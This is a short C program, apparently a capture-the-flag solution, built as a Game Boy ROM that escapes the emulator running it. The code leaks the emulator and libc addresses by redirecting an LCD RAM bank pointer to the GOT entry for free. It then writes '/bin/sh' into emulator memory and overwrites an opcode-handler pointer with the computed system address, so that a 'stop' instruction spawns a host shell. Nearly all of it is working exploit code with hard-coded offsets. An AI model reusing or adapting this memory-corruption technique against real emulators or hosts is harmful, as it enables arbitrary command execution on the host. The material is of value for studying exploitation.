#include "stdint.h" #include "string.h" void main(void) { volatile static uint8_t *processor_gb; volatile static uint8_t *memory_gb; volatile static uint8_t *free_got_gb; volatile static uint64_t op0x00; volatile static uint64_t base; volatile static uint64_t libc; volatile static uint64_t free_got; volatile static uint64_t target; /* NEEDS TO BE FIRST SESSION OF CONTAINER! */ /* processor - wrambanks = -0x126a0 */ /* WRAM BANK = -0x13 */ processor_gb = (void*) 0xD960; memory_gb = processor_gb - 0xd0; /* get base from op0x00 */ op0x00 = *(uint64_t*)processor_gb; base = op0x00 - 0x1d420; free_got = base + 0x4ad78; /* change lcdrambank pointer to access got */ *(uint64_t*)(memory_gb+0x90) = free_got; free_got_gb = (void*) 0x8000; libc = (*(uint64_t*)free_got_gb) - 0x9a6d0; target = libc + 0x52290; strcpy((char*)processor_gb, "/bin/sh"); *(uint64_t*)(processor_gb+0x10*0x10) = target; __asm \ stop \ __endasm; while (1); }